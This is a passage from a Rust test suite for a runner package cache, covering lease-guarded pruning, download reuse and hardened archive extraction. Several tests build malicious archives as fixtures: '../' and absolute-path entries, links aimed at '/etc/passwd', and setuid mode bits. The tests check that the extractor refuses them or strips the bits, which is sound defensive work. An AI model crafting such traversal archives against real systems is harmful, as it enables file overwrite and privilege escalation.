5342 RETRY_BUDGET as usize,
5343 "one launch's retries"
5344 );
5345
5346 *harness.fetcher.fail.lock().unwrap() = false;
5347 let third = reserved(&harness, 3);
5348 one.materialize(&third, &mut PackageTimings::default())
5349 .await
5350 .expect("the next attempt downloads it");
5351 assert_eq!(harness.fetcher.count(), RETRY_BUDGET as usize + 1);
5352 }
5353
5354 #[tokio::test]
5357 async fn switching_between_targets_does_not_download_the_package_again() {
5358 use crate::lifecycle::{PackageTimings, RuntimePackages as _};
5359
5360 let (harness, _, _) = linux_fixture();
5361 let (one, two, _shared) = two_targets(&harness);
5362 for (id, packages) in [(1, &one), (2, &two), (3, &one), (4, &two)] {
5363 let attempt = reserved(&harness, id);
5364 let mut timings = PackageTimings::default();
5365 packages
5366 .materialize(&attempt, &mut timings)
5367 .await
5368 .expect("materialized");
5369 assert!(attempt.runtime_path().join("run.sh").exists());
5370 assert_eq!(timings.downloaded, id == 1, "attempt {id}: {timings:?}");
5371 }
5372 assert_eq!(harness.fetcher.count(), 1);
5373 assert_eq!(harness.catalog.calls(), 1, "one check, not one per target");
5374 }
5375
5376 #[tokio::test]
5377 async fn launches_materializing_together_share_one_download() {
5378 use crate::lifecycle::{PackageTimings, RuntimePackages as _};
5379
5380 let (harness, _, _) = linux_fixture();
5381 let (one, two, _shared) = two_targets(&harness);
5382 let first = reserved(&harness, 1);
5383 let second = reserved(&harness, 2);
5384
5385 let (mut one_timings, mut two_timings) =
5386 (PackageTimings::default(), PackageTimings::default());
5387 let (a, b) = tokio::join!(
5388 one.materialize(&first, &mut one_timings),
5389 two.materialize(&second, &mut two_timings)
5390 );
5391
5392 a.expect("the first");
5393 b.expect("the second");
5394 assert_eq!(harness.fetcher.count(), 1);
5395 }
5396
5397 #[cfg(unix)]
5399 #[tokio::test]
5400 async fn a_tree_a_job_edited_is_replaced_for_every_target() {
5401 use crate::lifecycle::{PackageTimings, RuntimePackages as _};
5402
5403 let (harness, _, _) = linux_fixture();
5404 let (one, two, _shared) = two_targets(&harness);
5405 one.materialize(&reserved(&harness, 1), &mut PackageTimings::default())
5406 .await
5407 .expect("materialized");
5408 let entry = harness.cache().installed().unwrap().remove(0);
5409 fs::write(entry.root().join("planted"), b"from a job").unwrap();
5410
5411 two.materialize(&reserved(&harness, 2), &mut PackageTimings::default())
5412 .await
5413 .expect("materialized");
5414
5415 assert_eq!(harness.fetcher.count(), 2);
5416 assert!(!entry.root().join("planted").exists());
5417 }
5418
5419 #[tokio::test]
5421 async fn a_prune_leaves_the_trees_alone_while_they_are_in_use() {
5422 use crate::lifecycle::{PackageTimings, PruneAuthority, RuntimePackages as _};
5423 use crate::reconcile::{AllocationLock as _, InProcessAllocationLock};
5424
5425 let (harness, _, _) = linux_fixture();
5426 let (one, _two, shared) = two_targets(&harness);
5427 one.materialize(&reserved(&harness, 1), &mut PackageTimings::default())
5428 .await
5429 .expect("materialized");
5430 one.release(AttemptId::from_u128(1)).expect("released");
5431 let newer = tar_gz_bytes(&[("run.sh", "newer\n")]);
5432 harness.catalog.publish(vec![published(
5433 "linux",
5434 "x64",
5435 "2.340.0",
5436 ".tar.gz",
5437 Some(&hex_digest(&newer)),
5438 )]);
5439 harness.fetcher.serve(newer);
5440 harness
5441 .clock
5442 .advance(Elapsed::days(FRESHNESS_WINDOW_DAYS + 1));
5443 let cache = harness.cache();
5444 cache.ensure_installed().await.expect("the newer install");
5445 assert_eq!(cache.installed().unwrap().len(), 2);
5446
5447 let lock = InProcessAllocationLock::new();
5448 let guard = lock.acquire().await.unwrap();
5449 {
5450 let _copying = shared.copying().await;
5451 one.prune_obsolete_guarded(PruneAuthority::for_test(&guard), &[])
5452 .expect("nothing to do yet");
5453 assert_eq!(cache.installed().unwrap().len(), 2);
5454 }
5455 one.prune_obsolete_guarded(PruneAuthority::for_test(&guard), &[])
5456 .expect("pruned");
5457 let left = cache.installed().unwrap();
5458 assert_eq!(left.len(), 1);
5459 assert_eq!(left[0].version(), &version("2.340.0"));
5460 }
5461
5462 #[tokio::test]
5463 async fn reinstall_replaces_a_tampered_entry_with_a_verified_download() {
5464 let (harness, _, _) = linux_fixture();
5465 let cache = harness.cache();
5466 let first = cache.ensure_installed().await.expect("the first install");
5467 assert_eq!(harness.fetcher.count(), 1);
5468
5469 let planted = first.root().join("planted");
5471 fs::write(&planted, b"from a job").unwrap();
5472
5473 let fresh = cache.reinstall().await.expect("the reinstall");
5474
5475 assert_eq!(fresh.version(), first.version());
5476 assert_eq!(
5477 harness.fetcher.count(),
5478 2,
5479 "the package was downloaded again"
5480 );
5481 assert!(!planted.exists(), "the tampered tree is gone");
5482 assert_eq!(
5483 cache.installed().unwrap().len(),
5484 1,
5485 "the reinstalled entry is the only one left"
5486 );
5487 let staged = || {
5489 fs::read_dir(cache.staging_root())
5490 .map(|entries| entries.count())
5491 .unwrap_or(0)
5492 };
5493 for _ in 0..500 {
5494 if staged() == 0 {
5495 break;
5496 }
5497 tokio::time::sleep(std::time::Duration::from_millis(10)).await;
5498 }
5499 assert_eq!(staged(), 0, "the set-aside tree is removed");
5500 }
5501
5502 #[tokio::test]
5503 async fn ensure_installed_reports_only_the_install_that_downloaded() {
5504 let (harness, _, _) = linux_fixture();
5505 let cache = harness.cache();
5506 let (first, downloaded) = cache.ensure_installed_reporting().await.unwrap();
5507 assert!(downloaded, "an empty cache downloads");
5508 let (again, downloaded) = cache.ensure_installed_reporting().await.unwrap();
5509 assert_eq!(again.root(), first.root());
5510 assert!(!downloaded, "an entry on disk is reused, not downloaded");
5511 assert_eq!(harness.fetcher.count(), 1);
5512 }
5513
5514 async fn cache_with_one_entry(harness: &Harness) -> PackageCache {
5515 let cache = harness.cache();
5516 cache.ensure_installed().await.expect("an install");
5517 cache
5518 }
5519
5520 #[tokio::test]
5521 async fn pruning_refuses_a_version_a_non_terminal_attempt_references() {
5522 let (harness, _, _) = linux_fixture();
5523 let cache = cache_with_one_entry(&harness).await;
5524 let held = version("2.330.0");
5525
5526 for state in AttemptState::ALL.iter().filter(|s| !s.is_terminal()) {
5530 let attempt = attempt_in(&harness, 0x100, *state);
5531 cache.lease(&attempt, &held).expect("a lease");
5532
5533 let error = cache
5534 .prune(&held, std::slice::from_ref(&attempt))
5535 .unwrap_err();
5536
5537 assert!(
5538 matches!(error, PackageError::VersionInUse { .. }),
5539 "state `{state}` should hold the version, got {error:?}"
5540 );
5541 assert!(error.is_terminal());
5542 assert!(error.operator_action().is_some());
5543 assert!(
5544 cache.entry(&held).unwrap().is_some(),
5545 "a refused prune must leave the entry in place"
5546 );
5547 cache.release(attempt.id).expect("release");
5548 }
5549 }
5550
5551 #[tokio::test]
5552 async fn pruning_succeeds_once_the_holding_attempt_is_terminal() {
5553 let (harness, _, _) = linux_fixture();
5554 let cache = cache_with_one_entry(&harness).await;
5555 let held = version("2.330.0");
5556
5557 let live = attempt_in(&harness, 0x100, AttemptState::Busy);
5558 cache.lease(&live, &held).expect("a lease");
5559 assert_eq!(cache.holders(&held).unwrap(), vec![live.id]);
5560
5561 assert!(cache.prune(&held, std::slice::from_ref(&live)).is_err());
5563 let root = cache
5564 .entry(&held)
5565 .unwrap()
5566 .expect("still there")
5567 .root()
5568 .to_path_buf();
5569 assert!(root.is_dir());
5570
5571 for state in AttemptState::ALL.iter().filter(|s| {
5573 matches!(
5574 s,
5575 AttemptState::Finished
5576 | AttemptState::Failed
5577 | AttemptState::Orphaned
5578 | AttemptState::Cleaned
5579 )
5580 }) {
5581 let concluded = attempt_in(&harness, 0x100, *state);
5582 assert!(concluded.is_terminal());
5583 if cache.entry(&held).unwrap().is_none() {
5586 cache.ensure_installed().await.expect("re-install");
5587 cache.lease(&concluded, &held).expect("a lease");
5588 }
5589
5590 cache
5591 .prune(&held, std::slice::from_ref(&concluded))
5592 .unwrap_or_else(|error| panic!("state `{state}` should allow a prune: {error}"));
5593
5594 assert!(
5595 cache.entry(&held).unwrap().is_none(),
5596 "state `{state}` should have pruned the entry"
5597 );
5598 assert!(
5599 cache.holders(&held).unwrap().is_empty(),
5600 "a spent lease is released with the entry"
5601 );
5602 }
5603 }
5604
5605 #[tokio::test]
5606 async fn pruning_refuses_a_version_held_by_an_attempt_the_caller_did_not_report() {
5607 let (harness, _, _) = linux_fixture();
5612 let cache = cache_with_one_entry(&harness).await;
5613 let held = version("2.330.0");
5614 let attempt = attempt_in(&harness, 0x100, AttemptState::Starting);
5615 cache.lease(&attempt, &held).expect("a lease");
5616
5617 let error = cache.prune(&held, &[]).unwrap_err();
5618
5619 assert!(
5620 matches!(error, PackageError::VersionHeldByUnknownAttempt { .. }),
5621 "expected a fail-closed refusal, got {error:?}"
5622 );
5623 assert!(cache.entry(&held).unwrap().is_some());
5624 assert!(
5625 error
5626 .operator_action()
5627 .unwrap()
5628 .contains("release the lease"),
5629 "the refusal must name the way out, got `{}`",
5630 error.operator_action().unwrap()
5631 );
5632
5633 cache.release(attempt.id).expect("release");
5635 cache.prune(&held, &[]).expect("a released version prunes");
5636 assert!(cache.entry(&held).unwrap().is_none());
5637 }
5638
5639 #[tokio::test]
5640 async fn a_corrupt_lease_refuses_a_prune_rather_than_vanishing() {
5641 let (harness, _, _) = linux_fixture();
5647 let cache = cache_with_one_entry(&harness).await;
5648 let held = version("2.330.0");
5649 let live = attempt_in(&harness, 0x100, AttemptState::Busy);
5650 cache.lease(&live, &held).expect("a lease");
5651
5652 let lease_file = cache.lease_path(live.id);
5654 assert!(lease_file.is_file(), "the lease must exist to be corrupted");
5655 fs::write(&lease_file, b"{\"version\":\"2.33").expect("corrupt the lease");
5656
5657 let error = cache.prune(&held, &[]).unwrap_err();
5658
5659 assert!(
5660 matches!(error, PackageError::UnreadableLease { .. }),
5661 "expected a refusal naming the unreadable lease, got {error:?}"
5662 );
5663 assert!(error.is_terminal());
5664 assert!(error.operator_action().is_some());
5665 assert!(
5666 cache.entry(&held).unwrap().is_some(),
5667 "the package a live runner may be executing from must still be there"
5668 );
5669 assert!(cache.holders(&held).is_err());
5671
5672 fs::remove_file(&lease_file).unwrap();
5674 cache
5675 .prune(&held, &[])
5676 .expect("a resolved lease lets it proceed");
5677 }
5678
5679 #[test]
5680 fn a_lease_released_while_holders_is_listing_is_not_reported_as_corrupt() {
5681 let dir = tempfile::tempdir().expect("a temporary root");
5686 let held = version("2.330.0");
5687 let id = AttemptId::from_u128(0x100);
5688
5689 let missing = dir.path().join(format!("{id}.{LEASE_EXTENSION}"));
5691 assert!(!missing.exists());
5692 assert_eq!(
5693 holder_of(&missing, &held).expect("a released lease is not an error"),
5694 None
5695 );
5696
5697 fs::write(&missing, br#"{"version":"2.330.0"}"#).unwrap();
5699 assert_eq!(holder_of(&missing, &held).unwrap(), Some(id));
5700 assert_eq!(holder_of(&missing, &version("2.340.0")).unwrap(), None);
5701
5702 fs::write(&missing, b"{\"version\":\"2.33").unwrap();
5704 assert!(matches!(
5705 holder_of(&missing, &held),
5706 Err(PackageError::UnreadableLease { .. })
5707 ));
5708
5709 let anonymous = dir.path().join(format!("not-a-uuid.{LEASE_EXTENSION}"));
5711 fs::write(&anonymous, br#"{"version":"2.330.0"}"#).unwrap();
5712 assert!(matches!(
5713 holder_of(&anonymous, &held),
5714 Err(PackageError::UnreadableLease { .. })
5715 ));
5716 }
5717
5718 #[tokio::test]
5719 async fn a_lease_file_that_is_not_named_after_an_attempt_refuses_a_prune() {
5720 let (harness, _, _) = linux_fixture();
5721 let cache = cache_with_one_entry(&harness).await;
5722 let held = version("2.330.0");
5723 let strays = cache.root().join(LEASES_DIR);
5724 fs::create_dir_all(&strays).unwrap();
5725 let stray = strays.join(format!("not-a-uuid.{LEASE_EXTENSION}"));
5726 fs::write(&stray, b"{\"version\":\"2.330.0\"}").unwrap();
5727
5728 let error = cache.prune(&held, &[]).unwrap_err();
5729
5730 assert!(
5731 matches!(error, PackageError::UnreadableLease { .. }),
5732 "a lease whose holder cannot be identified must refuse, got {error:?}"
5733 );
5734 assert!(cache.entry(&held).unwrap().is_some());
5735 }
5736
5737 #[tokio::test]
5738 async fn an_unreferenced_version_prunes_with_no_ceremony() {
5739 let (harness, _, _) = linux_fixture();
5740 let cache = cache_with_one_entry(&harness).await;
5741 let held = version("2.330.0");
5742
5743 cache.prune(&held, &[]).expect("nothing references it");
5744
5745 assert!(cache.entry(&held).unwrap().is_none());
5746 assert!(cache.installed().unwrap().is_empty());
5747 }
5748
5749 #[tokio::test]
5750 async fn one_attempts_lease_does_not_pin_another_version() {
5751 let (harness, _, _) = linux_fixture();
5752 let cache = cache_with_one_entry(&harness).await;
5753
5754 let newer = tar_gz_bytes(&[("run.sh", "newer\n")]);
5756 harness.catalog.publish(vec![published(
5757 "linux",
5758 "x64",
5759 "2.340.0",
5760 ".tar.gz",
5761 Some(&hex_digest(&newer)),
5762 )]);
5763 harness.fetcher.serve(newer);
5764 harness
5765 .clock
5766 .advance(Elapsed::days(FRESHNESS_WINDOW_DAYS + 1));
5767 cache.ensure_installed().await.expect("the newer install");
5768 assert_eq!(cache.installed().unwrap().len(), 2);
5769
5770 let live = attempt_in(&harness, 0x100, AttemptState::Busy);
5771 cache.lease(&live, &version("2.340.0")).expect("a lease");
5772
5773 assert!(
5775 cache
5776 .prune(&version("2.340.0"), std::slice::from_ref(&live))
5777 .is_err()
5778 );
5779 cache
5780 .prune(&version("2.330.0"), &[live])
5781 .expect("the unheld version prunes");
5782 assert_eq!(cache.installed().unwrap().len(), 1);
5783 }
5784
5785 #[tokio::test]
5786 async fn a_lease_outlives_the_cache_object_that_took_it() {
5787 let (harness, _, _) = linux_fixture();
5790 let held = version("2.330.0");
5791 let live = attempt_in(&harness, 0x100, AttemptState::Busy);
5792 {
5793 let cache = cache_with_one_entry(&harness).await;
5794 cache.lease(&live, &held).expect("a lease");
5795 }
5796
5797 let reopened = harness.cache();
5798 assert_eq!(reopened.holders(&held).unwrap(), vec![live.id]);
5799 assert!(reopened.prune(&held, &[live]).is_err());
5800 }
5801
5802 #[tokio::test]
5803 async fn releasing_a_lease_that_was_never_taken_is_not_an_error() {
5804 let (harness, _, _) = linux_fixture();
5805 let cache = cache_with_one_entry(&harness).await;
5806 cache
5807 .release(AttemptId::from_u128(0xdead))
5808 .expect("a cleanup path may release unconditionally");
5809 }
5810
5811 #[tokio::test]
5812 async fn leasing_a_version_that_is_not_installed_is_refused() {
5813 let (harness, _, _) = linux_fixture();
5814 let cache = cache_with_one_entry(&harness).await;
5815 let attempt = attempt_in(&harness, 0x100, AttemptState::Busy);
5816
5817 let error = cache.lease(&attempt, &version("9.9.9")).unwrap_err();
5818
5819 assert!(matches!(error, PackageError::NotInstalled { .. }));
5820 }
5821
5822 #[tokio::test]
5827 async fn a_lease_refuses_a_workspace_inside_the_cache_and_accepts_one_outside_it() {
5828 let (harness, _, _) = linux_fixture();
5837 let cache = cache_with_one_entry(&harness).await;
5838 let held = version("2.330.0");
5839
5840 for inside in [
5843 cache.root().join("2.330.0").join("_work"),
5844 cache.root().join("workspaces").join("attempt-1"),
5845 cache.root().to_path_buf(),
5846 ] {
5847 let attempt = fixtures::attempt()
5848 .id(AttemptId::from_u128(0x100))
5849 .state(AttemptState::Busy)
5850 .runtime_path(inside.to_string_lossy().to_string())
5851 .build();
5852
5853 let error = cache.lease(&attempt, &held).unwrap_err();
5854
5855 assert!(
5856 matches!(error, PackageError::WorkspaceInsideCache { .. }),
5857 "`{}` is inside the cache and must be refused, got {error:?}",
5858 inside.display()
5859 );
5860 assert!(
5861 cache.holders(&held).unwrap().is_empty(),
5862 "a refused lease must not have been written"
5863 );
5864 }
5865
5866 let proper = attempt_in(&harness, 0x100, AttemptState::Busy);
5868 cache
5869 .lease(&proper, &held)
5870 .expect("a runtime under the runtime directory is where it belongs");
5871 assert_eq!(cache.holders(&held).unwrap(), vec![proper.id]);
5872 }
5873
5874 #[test]
5875 fn the_runtime_directory_and_the_package_cache_are_disjoint_roots() {
5876 let dir = tempfile::tempdir().expect("a temporary root");
5880 let paths = AppPaths::rooted_at(dir.path());
5881 let cache_root = paths.state_dir().join(PACKAGES_DIR);
5882 let workspaces = paths.runtime_dir();
5883
5884 assert!(
5885 !is_inside(&cache_root, workspaces),
5886 "job workspaces must not live inside the package cache"
5887 );
5888 assert!(
5889 !is_inside(workspaces, &cache_root),
5890 "the package cache must not live inside the workspace root"
5891 );
5892 let attempt_workspace = workspaces
5894 .join(fixtures::POLICY_ID.to_string())
5895 .join(fixtures::ATTEMPT_ID.to_string());
5896 assert!(!is_inside(&cache_root, &attempt_workspace));
5897 }
5898
5899 #[tokio::test]
5900 async fn installing_writes_nothing_under_the_runtime_directory() {
5901 let (harness, _, _) = linux_fixture();
5902 let cache = cache_with_one_entry(&harness).await;
5903
5904 assert!(
5905 all_paths(harness.paths.runtime_dir()).is_empty(),
5906 "the package cache must not create job workspaces: {:?}",
5907 all_paths(harness.paths.runtime_dir())
5908 );
5909 let written = all_paths(cache.root());
5911 assert!(
5912 written.iter().any(|path| path.starts_with("2.330.0")),
5913 "the entry should be there: {written:?}"
5914 );
5915 }
5916
5917 #[test]
5918 fn the_tool_cache_is_retained_beside_the_binaries_not_inside_an_entry() {
5919 let dir = tempfile::tempdir().expect("a temporary root");
5923 let paths = AppPaths::rooted_at(dir.path());
5924 let cache = PackageCache::new(
5925 &paths,
5926 Os::Linux,
5927 Arch::X64,
5928 CachePorts {
5929 catalog: FakeCatalog::with(Vec::new()),
5930 fetcher: FakeFetcher::with(Vec::new()),
5931 backoff: Arc::new(NoBackoff),
5932 clock: Arc::new(FakeClock::default()),
5933 },
5934 );
5935
5936 assert!(
5937 !is_inside(cache.root(), cache.tool_cache_dir()),
5938 "a written-to tool cache must not sit inside the immutable entries"
5939 );
5940 assert!(
5941 !is_inside(paths.runtime_dir(), cache.tool_cache_dir()),
5942 "the tool cache is retained, not disposable with a workspace"
5943 );
5944 assert!(is_inside(paths.state_dir(), cache.tool_cache_dir()));
5945 }
5946
5947 #[tokio::test]
5952 async fn both_published_archive_formats_extract_on_every_platform() {
5953 for (extension, bytes) in [
5954 (".zip", zip_bytes(&package_entries())),
5955 (".tar.gz", tar_gz_bytes(&package_entries())),
5956 ] {
5957 let digest = hex_digest(&bytes);
5958 let harness = Harness::new(
5959 vec![published(
5960 "linux",
5961 "x64",
5962 "2.330.0",
5963 extension,
5964 Some(&digest),
5965 )],
5966 bytes,
5967 );
5968
5969 let installed = harness
5970 .cache()
5971 .ensure_installed()
5972 .await
5973 .unwrap_or_else(|error| panic!("{extension} should extract: {error}"));
5974
5975 assert_eq!(
5976 fs::read_to_string(installed.root().join("run.sh")).unwrap(),
5977 "#!/bin/sh\necho runner\n"
5978 );
5979 assert_eq!(
5980 fs::read_to_string(installed.root().join("bin/Runner.Listener")).unwrap(),
5981 "listener\n"
5982 );
5983 }
5984 }
5985
5986 #[test]
5987 fn an_archive_entry_that_escapes_is_refused_and_writes_nothing_outside_the_target() {
5988 let dir = tempfile::tempdir().expect("a temporary root");
6025 let target = dir.path().join("target");
6026 let outside = dir.path().join("escaped.txt");
6027
6028 let good = dir.path().join("good.archive");
6031 fs::write(&good, tar_gz_bytes(&package_entries())).unwrap();
6032 extract(&fs::read(&good).unwrap(), ArchiveKind::TarGz, &target)
6033 .expect("a legitimate archive extracts");
6034 assert!(target.join("run.sh").is_file());
6035 remove_dir_all::remove_dir_all(&target).unwrap();
6036
6037 for (label, bytes, kind) in [
6038 (
6039 "tar.gz",
6040 tar_gz_with_raw_name("../escaped.txt", "owned"),
6041 ArchiveKind::TarGz,
6042 ),
6043 (
6044 "tar.gz absolute",
6045 tar_gz_with_raw_name("/tmp/escaped.txt", "owned"),
6046 ArchiveKind::TarGz,
6047 ),
6048 (
6049 "zip",
6050 zip_bytes(&[("../escaped.txt", "owned")]),
6051 ArchiveKind::Zip,
6052 ),
6053 ] {
6054 let archive = dir.path().join(format!("{label}.archive"));
6055 fs::write(&archive, &bytes).unwrap();
6056 let _ = remove_dir_all::remove_dir_all(&target);
6057
6058 let result = extract(&fs::read(&archive).unwrap(), kind, &target);
6059
6060 assert!(
6061 !outside.exists(),
6062 "{label}: an entry escaped the extraction directory"
6063 );
6064 let error = result.expect_err(&format!("{label}: the escape must be refused"));
6065 assert!(
6066 matches!(error, PackageError::UnsafeArchiveEntry { .. }),
6067 "{label}: expected an unsafe-entry refusal, got {error:?}"
6068 );
6069 assert!(error.is_terminal());
6070 assert_eq!(
6071 error.failure_reason(),
6072 Some(FailureReason::RunnerPackageUnverified)
6073 );
6074 }
6075 }
6076
6077 #[test]
6078 fn the_mode_policy_drops_every_bit_that_is_not_an_executable_bit() {
6079 for (published, expected, what) in [
6084 (0o4755, 0o700, "setuid is dropped"),
6085 (0o2755, 0o700, "setgid is dropped"),
6086 (0o1777, 0o700, "the sticky bit is dropped"),
6087 (
6088 0o7777,
6089 0o700,
6090 "all three, plus group and other, are dropped",
6091 ),
6092 (0o777, 0o700, "group and other lose everything"),
6093 (0o666, 0o600, "a non-executable file stays non-executable"),
6094 (0o644, 0o600, "the ordinary case"),
6095 (0o755, 0o700, "an executable stays executable"),
6096 (0o000, 0o600, "the owner can always read it back"),
6097 ] {
6098 assert_eq!(
6099 policy_mode(published),
6100 expected,
6101 "{what}: policy_mode({published:o}) should be {expected:o}"
6102 );
6103 }
6104 for published in 0..=0o7777_u32 {
6106 let applied = policy_mode(published);
6107 assert_eq!(applied & 0o7000, 0, "no setuid, setgid or sticky ever");
6108 assert_eq!(applied & 0o077, 0, "nothing for group or other ever");
6109 assert_eq!(
6110 applied & 0o100 != 0,
6111 published & 0o111 != 0,
6112 "executability is the only thing carried through, and only for \
6113 the owner (published {published:o} -> {applied:o})"
6114 );
6115 }
6116 }
6117
6118 #[cfg(unix)]
6121 #[test]
6122 fn a_published_archives_setuid_and_group_bits_are_never_applied_to_an_extracted_file() {
6123 use std::os::unix::fs::PermissionsExt as _;
6124
6125 let dir = tempfile::tempdir().expect("a temporary root");
6126 let bytes = tar_gz_special(
6129 "run.sh",
6130 "#!/bin/sh\n",
6131 0o7777,
6132 tar::EntryType::Regular,
6133 None,
6134 );
6135 let (mode, kind, _) = first_entry_header(&bytes);
6138 assert_eq!(mode, 0o7777, "the fixture must carry the full mode");
6139 assert_eq!(kind, tar::EntryType::Regular);
6140
6141 let archive = dir.path().join("p.archive");
6142 fs::write(&archive, &bytes).unwrap();
6143 let target = dir.path().join("target");
6144 extract(&fs::read(&archive).unwrap(), ArchiveKind::TarGz, &target).expect("extraction");
6145
6146 let applied = fs::metadata(target.join("run.sh"))
6147 .unwrap()
6148 .permissions()
6149 .mode()
6150 & 0o7777;
6151 assert_eq!(
6152 applied & 0o4000,
6153 0,
6154 "setuid must never survive extraction (mode {applied:o})"
6155 );
6156 assert_eq!(
6157 applied & 0o2000,
6158 0,
6159 "setgid must never survive extraction (mode {applied:o})"
6160 );
6161 assert_eq!(
6162 applied & 0o022,
6163 0,
6164 "group and world write must never survive (mode {applied:o})"
6165 );
6166 assert_eq!(
6169 applied, 0o700,
6170 "the tar path must apply the same mode policy as the zip path"
6171 );
6172 }
6173
6174 #[cfg(unix)]
6175 #[test]
6176 fn an_extracted_directorys_mode_is_owner_only_and_still_usable() {
6177 use std::os::unix::fs::PermissionsExt as _;
6178
6179 let dir = tempfile::tempdir().expect("a temporary root");
6180 let bytes = tar_gz_special("bin/", "", 0o2777, tar::EntryType::Directory, None);
6181 let archive = dir.path().join("p.archive");
6182 fs::write(&archive, &bytes).unwrap();
6183 let target = dir.path().join("target");
6184
6185 extract(&fs::read(&archive).unwrap(), ArchiveKind::TarGz, &target).expect("extraction");
6186
6187 let applied = fs::metadata(target.join("bin"))
6188 .unwrap()
6189 .permissions()
6190 .mode()
6191 & 0o7777;
6192 assert_eq!(
6193 applied & 0o2000,
6194 0,
6195 "setgid must not survive on a directory"
6196 );
6197 assert_eq!(applied & 0o077, 0, "group and other get nothing");
6198 assert!(
6199 applied & 0o300 == 0o300,
6200 "the owner must still be able to write and traverse it (mode {applied:o})"
6201 );
6202 }
6203
6204 #[test]
6205 fn a_link_whose_target_escapes_the_package_is_refused() {
6206 let dir = tempfile::tempdir().expect("a temporary root");
6210 for (label, bytes) in [
6211 (
6212 "symlink to an absolute path",
6213 tar_gz_special(
6214 "link",
6215 "",
6216 0o777,
6217 tar::EntryType::Symlink,
6218 Some("/etc/passwd"),
6219 ),
6220 ),
6221 (
6222 "symlink climbing out",
6223 tar_gz_special(
6224 "link",
6225 "",
6226 0o777,
6227 tar::EntryType::Symlink,
6228 Some("../../escape"),
6229 ),
6230 ),
6231 (
6232 "symlink climbing out from a subdirectory",
6233 tar_gz_special(
6234 "bin/link",
6235 "",
6236 0o777,
6237 tar::EntryType::Symlink,
6238 Some("../../escape"),
6239 ),
6240 ),
6241 (
6242 "hard link",
6243 tar_gz_special("link", "", 0o644, tar::EntryType::Link, Some("/etc/passwd")),
6244 ),
6245 ] {
6246 let (_, kind, link) = first_entry_header(&bytes);
6248 assert!(
6249 matches!(kind, tar::EntryType::Symlink | tar::EntryType::Link),
6250 "{label}: the fixture must be a link entry"
6251 );
6252 assert!(link.is_some(), "{label}: the fixture must carry a target");
6253
6254 let archive = dir.path().join(format!("{label}.archive"));
6255 fs::write(&archive, &bytes).unwrap();
6256 let target = dir.path().join(label);
6257
6258 let error = extract(&fs::read(&archive).unwrap(), ArchiveKind::TarGz, &target)
6259 .expect_err(&format!("{label} must be refused"));
6260
6261 assert!(
6262 matches!(error, PackageError::UnsafeArchiveEntry { .. }),
6263 "{label}: expected an unsafe-entry refusal, got {error:?}"
6264 );
6265 assert!(error.is_terminal());
6266 assert_eq!(
6267 error.failure_reason(),
6268 Some(FailureReason::RunnerPackageUnverified)
6269 );
6270 assert!(
6271 !target.join("link").exists(),
6272 "{label}: nothing may have been created"
6273 );
6274 }
6275 }
6276
6277 #[cfg(unix)]
6283 #[test]
6284 fn a_link_that_stays_inside_the_package_is_extracted() {
6285 let dir = tempfile::tempdir().expect("a temporary root");
6286 let bytes = tar_gz_special(
6287 "bin/current",
6288 "",
6289 0o777,
6290 tar::EntryType::Symlink,
6291 Some("../run.sh"),
6292 );
6293 let archive = dir.path().join("p.archive");
6294 fs::write(&archive, &bytes).unwrap();
6295 let target = dir.path().join("target");
6296
6297 extract(&fs::read(&archive).unwrap(), ArchiveKind::TarGz, &target)
6298 .expect("a link inside the package is legitimate");
6299
6300 assert!(
6301 fs::symlink_metadata(target.join("bin/current"))
6302 .unwrap()
6303 .is_symlink(),
6304 "the link should have been created"
6305 );
6306 }
6307
6308 #[test]
6309 fn an_entry_that_names_the_extraction_root_resolves_to_nothing() {
6310 let root = Path::new("/cache/staging/root");
6314 for names_the_root in [".", "./", "./."] {
6315 assert_eq!(
6316 entry_destination(root, Path::new(names_the_root), names_the_root).unwrap(),
6317 None,
6318 "`{names_the_root}` names the extraction root and must not resolve to it"
6319 );
6320 }
6321 assert_eq!(
6324 entry_destination(root, Path::new("bin/run.sh"), "bin/run.sh").unwrap(),
6325 Some(root.join("bin").join("run.sh"))
6326 );
6327 assert_eq!(
6328 entry_destination(root, Path::new("./bin/run.sh"), "./bin/run.sh").unwrap(),
6329 Some(root.join("bin").join("run.sh"))
6330 );
6331 assert!(entry_destination(root, Path::new("../x"), "../x").is_err());
6333 }
6334
6335 #[test]
6336 fn a_directory_always_gets_a_traversable_owner_only_mode() {
6337 for published in [Some(0o2777), Some(0o755), Some(0o644), Some(0o000), None] {
6341 assert_eq!(
6342 intended_mode(true, published),
6343 Some(0o700),
6344 "a directory published as {published:?} must end up traversable and owner-only"
6345 );
6346 }
6347 assert_eq!(intended_mode(false, Some(0o4755)), Some(0o700));
6349 assert_eq!(intended_mode(false, Some(0o644)), Some(0o600));
6350 assert_eq!(
6351 intended_mode(false, None),
6352 None,
6353 "a zip written on Windows publishes no mode, and there is nothing to apply"
6354 );
6355 }
6356
6357 #[cfg(unix)]
6358 #[test]
6359 fn a_zip_directory_entry_gets_the_same_mode_policy_as_a_tar_one() {
6360 use std::os::unix::fs::PermissionsExt as _;
6361
6362 let dir = tempfile::tempdir().expect("a temporary root");
6368 let bytes = zip_bytes_with_modes(&[
6369 ("bin/", "", Some(0o2777)),
6370 ("bin/run.sh", "#!/bin/sh\n", Some(0o4755)),
6371 ]);
6372 let archive = dir.path().join("p.archive");
6373 fs::write(&archive, &bytes).unwrap();
6374 let target = dir.path().join("target");
6375
6376 extract(&fs::read(&archive).unwrap(), ArchiveKind::Zip, &target).expect("extraction");
6377
6378 let dir_mode = fs::metadata(target.join("bin"))
6379 .unwrap()
6380 .permissions()
6381 .mode()
6382 & 0o7777;
6383 assert_eq!(
6384 dir_mode, 0o700,
6385 "a zip directory must get the owner-only policy (mode {dir_mode:o})"
6386 );
6387 let file_mode = fs::metadata(target.join("bin/run.sh"))
6388 .unwrap()
6389 .permissions()
6390 .mode()
6391 & 0o7777;
6392 assert_eq!(
6393 file_mode, 0o700,
6394 "a zip file must get the owner-only policy (mode {file_mode:o})"
6395 );
6396 }
6397
6398 #[cfg(unix)]
6399 #[test]
6400 fn a_directory_entry_with_no_executable_bit_is_still_traversable() {
6401 use std::os::unix::fs::PermissionsExt as _;
6402
6403 let dir = tempfile::tempdir().expect("a temporary root");
6407 for (label, bytes, kind) in [
6408 (
6409 "tar.gz",
6410 tar_gz_special("bin/", "", 0o644, tar::EntryType::Directory, None),
6411 ArchiveKind::TarGz,
6412 ),
6413 (
6414 "zip",
6415 zip_bytes_with_modes(&[("bin/", "", Some(0o644))]),
6416 ArchiveKind::Zip,
6417 ),
6418 ] {
6419 let archive = dir.path().join(format!("{label}.archive"));
6420 fs::write(&archive, &bytes).unwrap();
6421 let target = dir.path().join(label);
6422
